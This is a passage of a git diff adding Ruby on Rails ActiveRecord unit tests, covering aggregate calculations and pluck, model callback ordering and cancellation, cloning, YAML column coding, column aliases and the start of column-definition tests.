+ def test_should_group_by_association_with_non_numeric_foreign_key
+ Speedometer.create! id: 'ABC'
+ Minivan.create! id: 'OMG', speedometer_id: 'ABC'
+
+ c = Minivan.group(:speedometer).count(:all)
+ first_key = c.keys.first
+ assert_equal Speedometer, first_key.class
+ assert_equal 1, c[first_key]
+ end
+
+ def test_should_calculate_grouped_association_with_foreign_key_option
+ Account.belongs_to :another_firm, :class_name => 'Firm', :foreign_key => 'firm_id'
+ c = Account.group(:another_firm).count(:all)
+ assert_equal 1, c[companies(:first_firm)]
+ assert_equal 2, c[companies(:rails_core)]
+ assert_equal 1, c[companies(:first_client)]
+ end
+
+ def test_should_calculate_grouped_by_function
+ c = Company.group("UPPER(#{QUOTED_TYPE})").count(:all)
+ assert_equal 2, c[nil]
+ assert_equal 1, c['DEPENDENTFIRM']
+ assert_equal 4, c['CLIENT']
+ assert_equal 2, c['FIRM']
+ end
+
+ def test_should_calculate_grouped_by_function_with_table_alias
+ c = Company.group("UPPER(companies.#{QUOTED_TYPE})").count(:all)
+ assert_equal 2, c[nil]
+ assert_equal 1, c['DEPENDENTFIRM']
+ assert_equal 4, c['CLIENT']
+ assert_equal 2, c['FIRM']
+ end
+
+ def test_should_not_overshadow_enumerable_sum
+ assert_equal 6, [1, 2, 3].sum(&:abs)
+ end
+
+ def test_should_sum_scoped_field
+ assert_equal 15, companies(:rails_core).companies.sum(:id)
+ end
+
+ def test_should_sum_scoped_field_with_from
+ assert_equal Club.count, Organization.clubs.count
+ end
+
+ def test_should_sum_scoped_field_with_conditions
+ assert_equal 8, companies(:rails_core).companies.where('id > 7').sum(:id)
+ end
+
+ def test_should_group_by_scoped_field
+ c = companies(:rails_core).companies.group(:name).sum(:id)
+ assert_equal 7, c['Leetsoft']
+ assert_equal 8, c['Jadedpixel']
+ end
+
+ def test_should_group_by_summed_field_through_association_and_having
+ c = companies(:rails_core).companies.group(:name).having('sum(id) > 7').sum(:id)
+ assert_nil c['Leetsoft']
+ assert_equal 8, c['Jadedpixel']
+ end
+
+ def test_should_count_selected_field_with_include
+ assert_equal 6, Account.includes(:firm).distinct.count
+ assert_equal 4, Account.includes(:firm).distinct.select(:credit_limit).count
+ end
+
+ def test_should_not_perform_joined_include_by_default
+ assert_equal Account.count, Account.includes(:firm).count
+ queries = assert_sql { Account.includes(:firm).count }
+ assert_no_match(/join/i, queries.last)
+ end
+
+ def test_should_perform_joined_include_when_referencing_included_tables
+ joined_count = Account.includes(:firm).where(:companies => {:name => '37signals'}).count
+ assert_equal 1, joined_count
+ end
+
+ def test_should_count_scoped_select
+ Account.update_all("credit_limit = NULL")
+ assert_equal 0, Account.select("credit_limit").count
+ end
+
+ def test_should_count_scoped_select_with_options
+ Account.update_all("credit_limit = NULL")
+ Account.last.update_columns('credit_limit' => 49)
+ Account.first.update_columns('credit_limit' => 51)
+
+ assert_equal 1, Account.select("credit_limit").where('credit_limit >= 50').count
+ end
+
+ def test_should_count_manual_select_with_include
+ assert_equal 6, Account.select("DISTINCT accounts.id").includes(:firm).count
+ end
+
+ def test_count_with_column_parameter
+ assert_equal 5, Account.count(:firm_id)
+ end
+
+ def test_count_distinct_option_is_deprecated
+ assert_deprecated do
+ assert_equal 4, Account.select(:credit_limit).count(distinct: true)
+ end
+
+ assert_deprecated do
+ assert_equal 6, Account.select(:credit_limit).count(distinct: false)
+ end
+ end
+
+ def test_count_with_distinct
+ assert_equal 4, Account.select(:credit_limit).distinct.count
+ assert_equal 4, Account.select(:credit_limit).uniq.count
+ end
+
+ def test_count_with_column_and_options_parameter
+ assert_equal 2, Account.where("credit_limit = 50 AND firm_id IS NOT NULL").count(:firm_id)
+ end
+
+ def test_should_count_field_in_joined_table
+ assert_equal 5, Account.joins(:firm).count('companies.id')
+ assert_equal 4, Account.joins(:firm).distinct.count('companies.id')
+ end
+
+ def test_should_count_field_in_joined_table_with_group_by
+ c = Account.group('accounts.firm_id').joins(:firm).count('companies.id')
+
+ [1,6,2,9].each { |firm_id| assert c.keys.include?(firm_id) }
+ end
+
+ def test_count_with_no_parameters_isnt_deprecated
+ assert_not_deprecated { Account.count }
+ end
+
+ def test_count_with_too_many_parameters_raises
+ assert_raise(ArgumentError) { Account.count(1, 2, 3) }
+ end
+
+ def test_should_sum_expression
+ # Oracle adapter returns floating point value 636.0 after SUM
+ if current_adapter?(:OracleAdapter)
+ assert_equal 636, Account.sum("2 * credit_limit")
+ else
+ assert_equal 636, Account.sum("2 * credit_limit").to_i
+ end
+ end
+
+ def test_sum_expression_returns_zero_when_no_records_to_sum
+ assert_equal 0, Account.where('1 = 2').sum("2 * credit_limit")
+ end
+
+ def test_count_with_from_option
+ assert_equal Company.count(:all), Company.from('companies').count(:all)
+ assert_equal Account.where("credit_limit = 50").count(:all),
+ Account.from('accounts').where("credit_limit = 50").count(:all)
+ assert_equal Company.where(:type => "Firm").count(:type),
+ Company.where(:type => "Firm").from('companies').count(:type)
+ end
+
+ def test_sum_with_from_option
+ assert_equal Account.sum(:credit_limit), Account.from('accounts').sum(:credit_limit)
+ assert_equal Account.where("credit_limit > 50").sum(:credit_limit),
+ Account.where("credit_limit > 50").from('accounts').sum(:credit_limit)
+ end
+
+ def test_sum_array_compatibility_deprecation
+ assert_deprecated do
+ assert_equal Account.sum(:credit_limit), Account.sum(&:credit_limit)
+ end
+ end
+
+ def test_average_with_from_option
+ assert_equal Account.average(:credit_limit), Account.from('accounts').average(:credit_limit)
+ assert_equal Account.where("credit_limit > 50").average(:credit_limit),
+ Account.where("credit_limit > 50").from('accounts').average(:credit_limit)
+ end
+
+ def test_minimum_with_from_option
+ assert_equal Account.minimum(:credit_limit), Account.from('accounts').minimum(:credit_limit)
+ assert_equal Account.where("credit_limit > 50").minimum(:credit_limit),
+ Account.where("credit_limit > 50").from('accounts').minimum(:credit_limit)
+ end
+
+ def test_maximum_with_from_option
+ assert_equal Account.maximum(:credit_limit), Account.from('accounts').maximum(:credit_limit)
+ assert_equal Account.where("credit_limit > 50").maximum(:credit_limit),
+ Account.where("credit_limit > 50").from('accounts').maximum(:credit_limit)
+ end
+
+ def test_maximum_with_not_auto_table_name_prefix_if_column_included
+ Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+
+ assert_equal 7, Company.includes(:contracts).maximum(:developer_id)
+ end
+
+ def test_minimum_with_not_auto_table_name_prefix_if_column_included
+ Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+
+ assert_equal 7, Company.includes(:contracts).minimum(:developer_id)
+ end
+
+ def test_sum_with_not_auto_table_name_prefix_if_column_included
+ Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+
+ assert_equal 7, Company.includes(:contracts).sum(:developer_id)
+ end
+
+
+ def test_from_option_with_specified_index
+ if Edge.connection.adapter_name == 'MySQL' or Edge.connection.adapter_name == 'Mysql2'
+ assert_equal Edge.count(:all), Edge.from('edges USE INDEX(unique_edge_index)').count(:all)
+ assert_equal Edge.where('sink_id < 5').count(:all),
+ Edge.from('edges USE INDEX(unique_edge_index)').where('sink_id < 5').count(:all)
+ end
+ end
+
+ def test_from_option_with_table_different_than_class
+ assert_equal Account.count(:all), Company.from('accounts').count(:all)
+ end
+
+ def test_distinct_is_honored_when_used_with_count_operation_after_group
+ # Count the number of authors for approved topics
+ approved_topics_count = Topic.group(:approved).count(:author_name)[true]
+ assert_equal approved_topics_count, 3
+ # Count the number of distinct authors for approved Topics
+ distinct_authors_for_approved_count = Topic.group(:approved).distinct.count(:author_name)[true]
+ assert_equal distinct_authors_for_approved_count, 2
+ end
+
+ def test_pluck
+ assert_equal [1,2,3,4], Topic.order(:id).pluck(:id)
+ end
+
+ def test_pluck_type_cast
+ topic = topics(:first)
+ relation = Topic.where(:id => topic.id)
+ assert_equal [ topic.approved ], relation.pluck(:approved)
+ assert_equal [ topic.last_read ], relation.pluck(:last_read)
+ assert_equal [ topic.written_on ], relation.pluck(:written_on)
+ end
+
+ def test_pluck_and_uniq
+ assert_equal [50, 53, 55, 60], Account.order(:credit_limit).uniq.pluck(:credit_limit)
+ end
+
+ def test_pluck_in_relation
+ company = Company.first
+ contract = company.contracts.create!
+ assert_equal [contract.id], company.contracts.pluck(:id)
+ end
+
+ def test_pluck_with_serialization
+ t = Topic.create!(:content => { :foo => :bar })
+ assert_equal [{:foo => :bar}], Topic.where(:id => t.id).pluck(:content)
+ end
+
+ def test_pluck_with_qualified_column_name
+ assert_equal [1,2,3,4], Topic.order(:id).pluck("topics.id")
+ end
+
+ def test_pluck_auto_table_name_prefix
+ c = Company.create!(:name => "test", :contracts => [Contract.new])
+ assert_equal [c.id], Company.joins(:contracts).pluck(:id)
+ end
+
+ def test_pluck_if_table_included
+ c = Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+ assert_equal [c.id], Company.includes(:contracts).where("contracts.id" => c.contracts.first).pluck(:id)
+ end
+
+ def test_pluck_not_auto_table_name_prefix_if_column_joined
+ Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+ assert_equal [7], Company.joins(:contracts).pluck(:developer_id)
+ end
+
+ def test_pluck_with_selection_clause
+ assert_equal [50, 53, 55, 60], Account.pluck('DISTINCT credit_limit').sort
+ assert_equal [50, 53, 55, 60], Account.pluck('DISTINCT accounts.credit_limit').sort
+ assert_equal [50, 53, 55, 60], Account.pluck('DISTINCT(credit_limit)').sort
+
+ # MySQL returns "SUM(DISTINCT(credit_limit))" as the column name unless
+ # an alias is provided. Without the alias, the column cannot be found
+ # and properly typecast.
+ assert_equal [50 + 53 + 55 + 60], Account.pluck('SUM(DISTINCT(credit_limit)) as credit_limit')
+ end
+
+ def test_plucks_with_ids
+ assert_equal Company.all.map(&:id).sort, Company.ids.sort
+ end
+
+ def test_pluck_not_auto_table_name_prefix_if_column_included
+ Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+ ids = Company.includes(:contracts).pluck(:developer_id)
+ assert_equal Company.count, ids.length
+ assert_equal [7], ids.compact
+ end
+
+ def test_pluck_multiple_columns
+ assert_equal [
+ [1, "The First Topic"], [2, "The Second Topic of the day"],
+ [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"]
+ ], Topic.order(:id).pluck(:id, :title)
+ assert_equal [
+ [1, "The First Topic", "David"], [2, "The Second Topic of the day", "Mary"],
+ [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"]
+ ], Topic.order(:id).pluck(:id, :title, :author_name)
+ end
+
+ def test_pluck_with_multiple_columns_and_selection_clause
+ assert_equal [[1, 50], [2, 50], [3, 50], [4, 60], [5, 55], [6, 53]],
+ Account.pluck('id, credit_limit')
+ end
+
+ def test_pluck_with_multiple_columns_and_includes
+ Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
+ companies_and_developers = Company.order('companies.id').includes(:contracts).pluck(:name, :developer_id)
+
+ assert_equal Company.count, companies_and_developers.length
+ assert_equal ["37signals", nil], companies_and_developers.first
+ assert_equal ["test", 7], companies_and_developers.last
+ end
+
+ def test_pluck_with_reserved_words
+ Possession.create!(:where => "Over There")
+
+ assert_equal ["Over There"], Possession.pluck(:where)
+ end
+
+ def test_pluck_replaces_select_clause
+ taks_relation = Topic.select(:approved, :id).order(:id)
+ assert_equal [1,2,3,4], taks_relation.pluck(:id)
+ assert_equal [false, true, true, true], taks_relation.pluck(:approved)
+ end
+end
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
new file mode 100644
index 0000000..187cad9
--- /dev/null
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -0,0 +1,535 @@
+require "cases/helper"
+
+class CallbackDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ class << self
+ def callback_string(callback_method)
+ "history << [#{callback_method.to_sym.inspect}, :string]"
+ end
+
+ def callback_proc(callback_method)
+ Proc.new { |model| model.history << [callback_method, :proc] }
+ end
+
+ def define_callback_method(callback_method)
+ define_method(callback_method) do
+ self.history << [callback_method, :method]
+ end
+ send(callback_method, :"#{callback_method}")
+ end
+
+ def callback_object(callback_method)
+ klass = Class.new
+ klass.send(:define_method, callback_method) do |model|
+ model.history << [callback_method, :object]
+ end
+ klass.new
+ end
+ end
+
+ ActiveRecord::Callbacks::CALLBACKS.each do |callback_method|
+ next if callback_method.to_s =~ /^around_/
+ define_callback_method(callback_method)
+ send(callback_method, callback_string(callback_method))
+ send(callback_method, callback_proc(callback_method))
+ send(callback_method, callback_object(callback_method))
+ send(callback_method) { |model| model.history << [callback_method, :block] }
+ end
+
+ def history
+ @history ||= []
+ end
+end
+
+class CallbackDeveloperWithFalseValidation < CallbackDeveloper
+ before_validation proc { |model| model.history << [:before_validation, :returning_false]; return false }
+ before_validation proc { |model| model.history << [:before_validation, :should_never_get_here] }
+end
+
+class ParentDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+ attr_accessor :after_save_called
+ before_validation {|record| record.after_save_called = true}
+end
+
+class ChildDeveloper < ParentDeveloper
+
+end
+
+class RecursiveCallbackDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ before_save :on_before_save
+ after_save :on_after_save
+
+ attr_reader :on_before_save_called, :on_after_save_called
+
+ def on_before_save
+ @on_before_save_called ||= 0
+ @on_before_save_called += 1
+ save unless @on_before_save_called > 1
+ end
+
+ def on_after_save
+ @on_after_save_called ||= 0
+ @on_after_save_called += 1
+ save unless @on_after_save_called > 1
+ end
+end
+
+class ImmutableDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ validates_inclusion_of :salary, :in => 50000..200000
+
+ before_save :cancel
+ before_destroy :cancel
+
+ def cancelled?
+ @cancelled == true
+ end
+
+ private
+ def cancel
+ @cancelled = true
+ false
+ end
+end
+
+class ImmutableMethodDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ validates_inclusion_of :salary, :in => 50000..200000
+
+ def cancelled?
+ @cancelled == true
+ end
+
+ before_save do
+ @cancelled = true
+ false
+ end
+
+ before_destroy do
+ @cancelled = true
+ false
+ end
+end
+
+class OnCallbacksDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ before_validation { history << :before_validation }
+ before_validation(:on => :create){ history << :before_validation_on_create }
+ before_validation(:on => :update){ history << :before_validation_on_update }
+
+ validate do
+ history << :validate
+ end
+
+ after_validation { history << :after_validation }
+ after_validation(:on => :create){ history << :after_validation_on_create }
+ after_validation(:on => :update){ history << :after_validation_on_update }
+
+ def history
+ @history ||= []
+ end
+end
+
+class ContextualCallbacksDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ before_validation { history << :before_validation }
+ before_validation :before_validation_on_create_and_update, :on => [ :create, :update ]
+
+ validate do
+ history << :validate
+ end
+
+ after_validation { history << :after_validation }
+ after_validation :after_validation_on_create_and_update, :on => [ :create, :update ]
+
+ def before_validation_on_create_and_update
+ history << "before_validation_on_#{self.validation_context}".to_sym
+ end
+
+ def after_validation_on_create_and_update
+ history << "after_validation_on_#{self.validation_context}".to_sym
+ end
+
+ def history
+ @history ||= []
+ end
+end
+
+class CallbackCancellationDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ attr_reader :after_save_called, :after_create_called, :after_update_called, :after_destroy_called
+ attr_accessor :cancel_before_save, :cancel_before_create, :cancel_before_update, :cancel_before_destroy
+
+ before_save {defined?(@cancel_before_save) ? !@cancel_before_save : false}
+ before_create { !@cancel_before_create }
+ before_update { !@cancel_before_update }
+ before_destroy { !@cancel_before_destroy }
+
+ after_save { @after_save_called = true }
+ after_update { @after_update_called = true }
+ after_create { @after_create_called = true }
+ after_destroy { @after_destroy_called = true }
+end
+
+class CallbacksTest < ActiveRecord::TestCase
+ fixtures :developers
+
+ def test_initialize
+ david = CallbackDeveloper.new
+ assert_equal [
+ [ :after_initialize, :method ],
+ [ :after_initialize, :string ],
+ [ :after_initialize, :proc ],
+ [ :after_initialize, :object ],
+ [ :after_initialize, :block ],
+ ], david.history
+ end
+
+ def test_find
+ david = CallbackDeveloper.find(1)
+ assert_equal [
+ [ :after_find, :method ],
+ [ :after_find, :string ],
+ [ :after_find, :proc ],
+ [ :after_find, :object ],
+ [ :after_find, :block ],
+ [ :after_initialize, :method ],
+ [ :after_initialize, :string ],
+ [ :after_initialize, :proc ],
+ [ :after_initialize, :object ],
+ [ :after_initialize, :block ],
+ ], david.history
+ end
+
+ def test_new_valid?
+ david = CallbackDeveloper.new
+ david.valid?
+ assert_equal [
+ [ :after_initialize, :method ],
+ [ :after_initialize, :string ],
+ [ :after_initialize, :proc ],
+ [ :after_initialize, :object ],
+ [ :after_initialize, :block ],
+ [ :before_validation, :method ],
+ [ :before_validation, :string ],
+ [ :before_validation, :proc ],
+ [ :before_validation, :object ],
+ [ :before_validation, :block ],
+ [ :after_validation, :method ],
+ [ :after_validation, :string ],
+ [ :after_validation, :proc ],
+ [ :after_validation, :object ],
+ [ :after_validation, :block ],
+ ], david.history
+ end
+
+ def test_existing_valid?
+ david = CallbackDeveloper.find(1)
+ david.valid?
+ assert_equal [
+ [ :after_find, :method ],
+ [ :after_find, :string ],
+ [ :after_find, :proc ],
+ [ :after_find, :object ],
+ [ :after_find, :block ],
+ [ :after_initialize, :method ],
+ [ :after_initialize, :string ],
+ [ :after_initialize, :proc ],
+ [ :after_initialize, :object ],
+ [ :after_initialize, :block ],
+ [ :before_validation, :method ],
+ [ :before_validation, :string ],
+ [ :before_validation, :proc ],
+ [ :before_validation, :object ],
+ [ :before_validation, :block ],
+ [ :after_validation, :method ],
+ [ :after_validation, :string ],
+ [ :after_validation, :proc ],
+ [ :after_validation, :object ],
+ [ :after_validation, :block ],
+ ], david.history
+ end
+
+ def test_create
+ david = CallbackDeveloper.create('name' => 'David', 'salary' => 1000000)
+ assert_equal [
+ [ :after_initialize, :method ],
+ [ :after_initialize, :string ],
+ [ :after_initialize, :proc ],
+ [ :after_initialize, :object ],
+ [ :after_initialize, :block ],
+ [ :before_validation, :method ],
+ [ :before_validation, :string ],
+ [ :before_validation, :proc ],
+ [ :before_validation, :object ],
+ [ :before_validation, :block ],
+ [ :after_validation, :method ],
+ [ :after_validation, :string ],
+ [ :after_validation, :proc ],
+ [ :after_validation, :object ],
+ [ :after_validation, :block ],
+ [ :before_save, :method ],
+ [ :before_save, :string ],
+ [ :before_save, :proc ],
+ [ :before_save, :object ],
+ [ :before_save, :block ],
+ [ :before_create, :method ],
+ [ :before_create, :string ],
+ [ :before_create, :proc ],
+ [ :before_create, :object ],
+ [ :before_create, :block ],
+ [ :after_create, :method ],
+ [ :after_create, :string ],
+ [ :after_create, :proc ],
+ [ :after_create, :object ],
+ [ :after_create, :block ],
+ [ :after_save, :method ],
+ [ :after_save, :string ],
+ [ :after_save, :proc ],
+ [ :after_save, :object ],
+ [ :after_save, :block ]
+ ], david.history
+ end
+
+ def test_validate_on_create
+ david = OnCallbacksDeveloper.create('name' => 'David', 'salary' => 1000000)
+ assert_equal [
+ :before_validation,
+ :before_validation_on_create,
+ :validate,
+ :after_validation,
+ :after_validation_on_create
+ ], david.history
+ end
+
+ def test_validate_on_contextual_create
+ david = ContextualCallbacksDeveloper.create('name' => 'David', 'salary' => 1000000)
+ assert_equal [
+ :before_validation,
+ :before_validation_on_create,
+ :validate,
+ :after_validation,
+ :after_validation_on_create
+ ], david.history
+ end
+
+ def test_update
+ david = CallbackDeveloper.find(1)
+ david.save
+ assert_equal [
+ [ :after_find, :method ],
+ [ :after_find, :string ],
+ [ :after_find, :proc ],
+ [ :after_find, :object ],
+ [ :after_find, :block ],
+ [ :after_initialize, :method ],
+ [ :after_initialize, :string ],
+ [ :after_initialize, :proc ],
+ [ :after_initialize, :object ],
+ [ :after_initialize, :block ],
+ [ :before_validation, :method ],
+ [ :before_validation, :string ],
+ [ :before_validation, :proc ],
+ [ :before_validation, :object ],
+ [ :before_validation, :block ],
+ [ :after_validation, :method ],
+ [ :after_validation, :string ],
+ [ :after_validation, :proc ],
+ [ :after_validation, :object ],
+ [ :after_validation, :block ],
+ [ :before_save, :method ],
+ [ :before_save, :string ],
+ [ :before_save, :proc ],
+ [ :before_save, :object ],
+ [ :before_save, :block ],
+ [ :before_update, :method ],
+ [ :before_update, :string ],
+ [ :before_update, :proc ],
+ [ :before_update, :object ],
+ [ :before_update, :block ],
+ [ :after_update, :method ],
+ [ :after_update, :string ],
+ [ :after_update, :proc ],
+ [ :after_update, :object ],
+ [ :after_update, :block ],
+ [ :after_save, :method ],
+ [ :after_save, :string ],
+ [ :after_save, :proc ],
+ [ :after_save, :object ],
+ [ :after_save, :block ]
+ ], david.history
+ end
+
+ def test_validate_on_update
+ david = OnCallbacksDeveloper.find(1)
+ david.save
+ assert_equal [
+ :before_validation,
+ :before_validation_on_update,
+ :validate,
+ :after_validation,
+ :after_validation_on_update
+ ], david.history
+ end
+
+ def test_validate_on_contextual_update
+ david = ContextualCallbacksDeveloper.find(1)
+ david.save
+ assert_equal [
+ :before_validation,
+ :before_validation_on_update,
+ :validate,
+ :after_validation,
+ :after_validation_on_update
+ ], david.history
+ end
+
+ def test_destroy
+ david = CallbackDeveloper.find(1)
+ david.destroy
+ assert_equal [
+ [ :after_find, :method ],
+ [ :after_find, :string ],
+ [ :after_find, :proc ],
+ [ :after_find, :object ],
+ [ :after_find, :block ],
+ [ :after_initialize, :method ],
+ [ :after_initialize, :string ],
+ [ :after_initialize, :proc ],
+ [ :after_initialize, :object ],
+ [ :after_initialize, :block ],
+ [ :before_destroy, :method ],
+ [ :before_destroy, :string ],
+ [ :before_destroy, :proc ],
+ [ :before_destroy, :object ],
+ [ :before_destroy, :block ],
+ [ :after_destroy, :method ],
+ [ :after_destroy, :string ],
+ [ :after_destroy, :proc ],
+ [ :after_destroy, :object ],
+ [ :after_destroy, :block ]
+ ], david.history
+ end
+
+ def test_delete
+ david = CallbackDeveloper.find(1)
+ CallbackDeveloper.delete(david.id)
+ assert_equal [
+ [ :after_find, :method ],
+ [ :after_find, :string ],
+ [ :after_find, :proc ],
+ [ :after_find, :object ],
+ [ :after_find, :block ],
+ [ :after_initialize, :method ],
+ [ :after_initialize, :string ],
+ [ :after_initialize, :proc ],
+ [ :after_initialize, :object ],
+ [ :after_initialize, :block ],
+ ], david.history
+ end
+
+ def test_before_save_returning_false
+ david = ImmutableDeveloper.find(1)
+ assert david.valid?
+ assert !david.save
+ assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
+
+ david = ImmutableDeveloper.find(1)
+ david.salary = 10_000_000
+ assert !david.valid?
+ assert !david.save
+ assert_raise(ActiveRecord::RecordInvalid) { david.save! }
+
+ someone = CallbackCancellationDeveloper.find(1)
+ someone.cancel_before_save = true
+ assert someone.valid?
+ assert !someone.save
+ assert_save_callbacks_not_called(someone)
+ end
+
+ def test_before_create_returning_false
+ someone = CallbackCancellationDeveloper.new
+ someone.cancel_before_create = true
+ assert someone.valid?
+ assert !someone.save
+ assert_save_callbacks_not_called(someone)
+ end
+
+ def test_before_update_returning_false
+ someone = CallbackCancellationDeveloper.find(1)
+ someone.cancel_before_update = true
+ assert someone.valid?
+ assert !someone.save
+ assert_save_callbacks_not_called(someone)
+ end
+
+ def test_before_destroy_returning_false
+ david = ImmutableDeveloper.find(1)
+ assert !david.destroy
+ assert_raise(ActiveRecord::RecordNotDestroyed) { david.destroy! }
+ assert_not_nil ImmutableDeveloper.find_by_id(1)
+
+ someone = CallbackCancellationDeveloper.find(1)
+ someone.cancel_before_destroy = true
+ assert !someone.destroy
+ assert_raise(ActiveRecord::RecordNotDestroyed) { someone.destroy! }
+ assert !someone.after_destroy_called
+ end
+
+ def assert_save_callbacks_not_called(someone)
+ assert !someone.after_save_called
+ assert !someone.after_create_called
+ assert !someone.after_update_called
+ end
+ private :assert_save_callbacks_not_called
+
+ def test_callback_returning_false
+ david = CallbackDeveloperWithFalseValidation.find(1)
+ david.save
+ assert_equal [
+ [ :after_find, :method ],
+ [ :after_find, :string ],
+ [ :after_find, :proc ],
+ [ :after_find, :object ],
+ [ :after_find, :block ],
+ [ :after_initialize, :method ],
+ [ :after_initialize, :string ],
+ [ :after_initialize, :proc ],
+ [ :after_initialize, :object ],
+ [ :after_initialize, :block ],
+ [ :before_validation, :method ],
+ [ :before_validation, :string ],
+ [ :before_validation, :proc ],
+ [ :before_validation, :object ],
+ [ :before_validation, :block ],
+ [ :before_validation, :returning_false ],
+ [ :after_rollback, :block ],
+ [ :after_rollback, :object ],
+ [ :after_rollback, :proc ],
+ [ :after_rollback, :string ],
+ [ :after_rollback, :method ],
+ ], david.history
+ end
+
+ def test_inheritance_of_callbacks
+ parent = ParentDeveloper.new
+ assert !parent.after_save_called
+ parent.save
+ assert parent.after_save_called
+
+ child = ChildDeveloper.new
+ assert !child.after_save_called
+ child.save
+ assert child.after_save_called
+ end
+
+end
diff --git a/activerecord/test/cases/clone_test.rb b/activerecord/test/cases/clone_test.rb
new file mode 100644
index 0000000..5e43082
--- /dev/null
+++ b/activerecord/test/cases/clone_test.rb
@@ -0,0 +1,40 @@
+require "cases/helper"
+require 'models/topic'
+
+module ActiveRecord
+ class CloneTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ def test_persisted
+ topic = Topic.first
+ cloned = topic.clone
+ assert topic.persisted?, 'topic persisted'
+ assert cloned.persisted?, 'topic persisted'
+ assert !cloned.new_record?, 'topic is not new'
+ end
+
+ def test_stays_frozen
+ topic = Topic.first
+ topic.freeze
+
+ cloned = topic.clone
+ assert cloned.persisted?, 'topic persisted'
+ assert !cloned.new_record?, 'topic is not new'
+ assert cloned.frozen?, 'topic should be frozen'
+ end
+
+ def test_shallow
+ topic = Topic.first
+ cloned = topic.clone
+ topic.author_name = 'Aaron'
+ assert_equal 'Aaron', cloned.author_name
+ end
+
+ def test_freezing_a_cloned_model_does_not_freeze_clone
+ cloned = Topic.new
+ clone = cloned.clone
+ cloned.freeze
+ assert_not clone.frozen?
+ end
+ end
+end
diff --git a/activerecord/test/cases/coders/yaml_column_test.rb b/activerecord/test/cases/coders/yaml_column_test.rb
new file mode 100644
index 0000000..b72c54f
--- /dev/null
+++ b/activerecord/test/cases/coders/yaml_column_test.rb
@@ -0,0 +1,63 @@
+
+require "cases/helper"
+
+module ActiveRecord
+ module Coders
+ class YAMLColumnTest < ActiveRecord::TestCase
+ def test_initialize_takes_class
+ coder = YAMLColumn.new(Object)
+ assert_equal Object, coder.object_class
+ end
+
+ def test_type_mismatch_on_different_classes_on_dump
+ coder = YAMLColumn.new(Array)
+ assert_raises(SerializationTypeMismatch) do
+ coder.dump("a")
+ end
+ end
+
+ def test_type_mismatch_on_different_classes
+ coder = YAMLColumn.new(Array)
+ assert_raises(SerializationTypeMismatch) do
+ coder.load "--- foo"
+ end
+ end
+
+ def test_nil_is_ok
+ coder = YAMLColumn.new
+ assert_nil coder.load "--- "
+ end
+
+ def test_returns_new_with_different_class
+ coder = YAMLColumn.new SerializationTypeMismatch
+ assert_equal SerializationTypeMismatch, coder.load("--- ").class
+ end
+
+ def test_returns_string_unless_starts_with_dash
+ coder = YAMLColumn.new
+ assert_equal 'foo', coder.load("foo")
+ end
+
+ def test_load_handles_other_classes
+ coder = YAMLColumn.new
+ assert_equal [], coder.load([])
+ end
+
+ def test_load_doesnt_swallow_yaml_exceptions
+ coder = YAMLColumn.new
+ bad_yaml = '--- {'
+ assert_raises(Psych::SyntaxError) do
+ coder.load(bad_yaml)
+ end
+ end
+
+ def test_load_doesnt_handle_undefined_class_or_module
+ coder = YAMLColumn.new
+ missing_class_yaml = '--- !ruby/object:DoesNotExistAndShouldntEver {}\n'
+ assert_raises(ArgumentError) do
+ coder.load(missing_class_yaml)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/column_alias_test.rb b/activerecord/test/cases/column_alias_test.rb
new file mode 100644
index 0000000..40707d9
--- /dev/null
+++ b/activerecord/test/cases/column_alias_test.rb
@@ -0,0 +1,17 @@
+require "cases/helper"
+require 'models/topic'
+
+class TestColumnAlias < ActiveRecord::TestCase
+ fixtures :topics
+
+ QUERY = if 'Oracle' == ActiveRecord::Base.connection.adapter_name
+ 'SELECT id AS pk FROM topics WHERE ROWNUM < 2'
+ else
+ 'SELECT id AS pk FROM topics'
+ end
+
+ def test_column_alias
+ records = Topic.connection.select_all(QUERY)
+ assert_equal 'pk', records[0].keys[0]
+ end
+end
diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb
new file mode 100644
index 0000000..dbb2f22
--- /dev/null
+++ b/activerecord/test/cases/column_definition_test.rb
@@ -0,0 +1,143 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class ColumnDefinitionTest < ActiveRecord::TestCase
+ def setup
+ @adapter = AbstractAdapter.new(nil)
+ def @adapter.native_database_types
+ {:string => "varchar"}
+ end
+ @viz = @adapter.schema_creation
+ end
+
+ def test_can_set_coder
+ column = Column.new("title", nil, "varchar(20)")
+ column.coder = YAML
+ assert_equal YAML, column.coder
+ end
+
+ def test_encoded?
+ column = Column.new("title", nil, "varchar(20)")
+ assert !column.encoded?
+
+ column.coder = YAML
+ assert column.encoded?
+ end
+
+ def test_type_case_coded_column
+ column = Column.new("title", nil, "varchar(20)")
+ column.coder = YAML
+ assert_equal "hello", column.type_cast("--- hello")
+ end
+
+ # Avoid column definitions in create table statements like:
+ # `title` varchar(255) DEFAULT NULL
+ def test_should_not_include_default_clause_when_default_is_null
+ column = Column.new("title", nil, "varchar(20)")
+ column_def = ColumnDefinition.new(
+ column.name, "string",
+ column.limit, column.precision, column.scale, column.default, column.null)
+ assert_equal "title varchar(20)", @viz.accept(column_def)
+ end
+
+ def test_should_include_default_clause_when_default_is_present
